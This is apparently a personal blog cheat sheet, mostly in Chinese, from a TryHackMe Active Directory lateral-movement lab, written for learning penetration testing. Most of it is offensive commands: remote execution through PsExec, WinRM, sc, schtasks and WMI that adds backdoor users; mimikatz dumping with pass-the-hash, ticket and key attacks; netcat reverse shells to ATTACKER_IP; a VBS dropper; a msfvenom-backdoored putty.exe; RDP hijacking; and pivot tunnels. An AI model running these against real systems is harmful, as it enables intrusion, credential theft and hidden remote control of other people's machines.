Room Link

curl http://distributor.za.tryhackme.com/creds -XPOST -d '__VIEWSTATE=mCapFrY0zRi%2Fx2BdkuFGt96H0EHOvPUUryY8ydQZmKI%2FRqeX4s1tuiBLZcrFua6Q2fK2r7DD2R7micbzJzCbin3H0mjJmYH%2BywtCRzG6XlI%3D&__VIEWSTATEGENERATOR=387396DE&__EVENTVALIDATION=x90rJRIPKn7xtnQjF1dxde6bF5ut7bePuWSuL%2BYw9HmjC4HTyVftBF49%2FgEn9dpH%2F2zE2dyr%2FVyh767EZgrPGmseAs8Ne%2BE6NqDt7BVCANtWxX%2Fs7N45VYw5P6mWBOnV&btnTestSettings=Get+Credentials'

Username: suzanne.morris
Password: P@ssw0rd

Psexec, WinRM, sc, schtasks

Psexec:

  • Ports:445/TCP (SMB)
  • Group Memberships: Administrators
    工作方式: 连接到 Admin$ 共享并上传服务二进制文件,连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,创建一些命名管道来处理 stdin/stdout/stderr。

    psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

    WinRM:

  • Ports:5895/TCP (WinRM HTTP) | 5896/TCP (WinRM HTTPS)
  • Group Memberships: Remote Management Users
    Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。

    winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
    // Poweshell Command
    $username = 'Administrator';
    $password = 'Mypass123';
    $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
    $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
    Enter-PSSession -Computername TARGET -Credential $credential
    Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

    sc:

  • Ports:135/TCP, 49152-65535/TCP (DCE/RPC) | 445/TCP | 139/TCP
  • Group Memberships: Administrators
  • 将尝试使用DCE/RPC进行连接。客户端首先会连接到位于135端口的端点映射器(EPM),它充当可用RPC端点的目录,并请求SVCCTL服务程序的信息。然后,EPM将响应SVCCTL的IP地址和连接端口,这通常是在49152-65535范围内的动态端口。
  • 如果后一个连接失败,sc 将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道到达 SVCCTL。

    // 服务启动时执行net user 命令创建一个新用户
    sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
    sc.exe \\TARGET start THMservice
    
    sc.exe \\TARGET stop THMservice
    sc.exe \\TARGET delete THMservice

    schtasks:

    schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
    schtasks /s TARGET /run /TN "THMtask1" 
    schtasks /S TARGET /TN "THMtask1" /DELETE /F

    SMB上传文件

    smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249

WMI(Windows Management Instrumentation)

# 创建PSCredential
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

DCOM:RPC over IP 将用于连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP,正如使用 sc.exe 时所解释的那样。
Wsman:WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。
Powershell 建立 WMI 会话

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

WMI 远程创建进程

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
# 旧系统
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

WMI 远程创建服务

// 创建服务THMService2
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
// 启动THMService服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
// 停止并删除THMService服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

WMI 远程创建计划任务

// 创建计划任务并启动
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
// 删除
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

通过 WMI 安装 MSI 包

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
# 旧系统
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

PtH,PtT,PtK

NTLM Authentication(NTML 认证)
2024-07-09T13:48:13.png
a. 客户端向他们想要访问的服务器发送身份验证请求。b. 服务器生成一个随机数并将其作为Challenge发送给客户端。c. 客户端将其 NTLM 密码哈希与challenge(以及其他已知数据)结合起来,生成对Challenge的Response,并将其发送回服务器进行验证。d. 服务器将Challenge和Response转发给域控制器进行验证。e. 域控制器使用Challenge重新计算Response并将其与客户端发送的初始响应进行比较。f. 服务器将认证结果转发给客户端

PTH(Pass-the-Hash) 攻击: 用于得到了无法破解的密码哈希

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam   

// 常见的
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP          (管理员)
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
-----------------------------------------------
// 类似于runas /netonly
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"    

Kerberos认证:
2024-07-09T13:48:32.png
PTT(Pass-the-Ticket)攻击:传递票证

// 使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥  (一般需要 SYSTEM权限 )
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
// 注入Ticket   (不需要管理员权限)
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
// 检查是否注入成功 klist

PtK(Overpass-the-hash / Pass-the-Key)

// 获取key
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
// RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// AES256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

VBS, Backdoor Exe,RDP Hijacking

vbs

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

Backdoor

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

RDP hijacking

当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有系统权限,则无需密码即可接管任何现有 RDP 会话。
[Windows Server 2019 不允许您在不知道密码的情况下连接到其他用户的会话。]
// 需要管理员权限
PsExec64.exe -s cmd.exe
query session  // 列出会话
tscon 3 /dest:rdp-tcp#6

端口转发

查看防火墙规则

netsh advfirewall firewall show rule name=all

SSH 远程端口转发(在跳板机上运行)

ssh -R 13389:thmiis.za.tryhackme.com:3389 -N grace.brooks@10.50.98.17

SSH 本地端口转发(攻击机)

ssh -L 23389:thmiis.za.tryhackme.com:3389 grace.brooks@thmjmp2.za.tryhackme.com -N

Socat 端口转发

// 跳板机上运行
socat -d -d TCP4-LISTEN:10131,fork TCP4:THMIIS.za.tryhackme.com:3389
// 攻击机运行
xfreerdp /v:THMJMP2.za.tryhackme.com:10131 /u:t1_thomas.moore /p:MyPazzw3rd2020

2024-07-10T10:35:36.png

复杂隧道
跳板机上执行

ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
ssh -L 8080:thmdc.za.tryhackme.com:80 -R 6666:thmjmp2.za.tryhackme.com:6666 -7878:thmjmp2.za.tryhackme.com:7878 -N grace.brooks@thmjmp2.za.tryhackme.com 
Last modification:July 25, 2024
请我喝瓶冰阔落吧